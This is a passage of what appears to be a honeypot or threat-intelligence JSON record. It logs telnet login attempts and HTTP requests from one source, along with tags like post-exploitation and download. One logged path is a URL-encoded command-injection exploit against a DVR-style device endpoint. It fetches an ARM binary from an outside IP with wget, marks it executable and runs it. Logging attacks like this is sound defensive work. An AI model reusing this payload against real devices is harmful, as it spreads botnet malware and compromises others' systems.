ble"]},"interactive":true},{"timestamp":"2026-10-25T15:32:02","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"admin","payload_hex":"61646d696e","method":"","user_agent":"","ja3":"","session":"a80a04ad-4e09-45d3-ae45-7226e10395ad-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d033e22ae348aeb5","strings":["admin"]},"interactive":true}],"http_methods":[{"method":"GET","count":12},{"method":"POST","count":1}],"distinct_ports_total":5,"top_paths":[{"path":"/","count":12,"ports":4},{"path":"/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20net.arm7%3B%20wget%20http%3A%2F%2F160.119.66.206%2Fbins%2Fnet.arm7%3B%20chmod%20777%20%2A%3B%20.%2Fnet.arm7%20tbk","count":1,"ports":1}],"distinct_paths_total":2,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":22},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":22},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":12},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":22}]}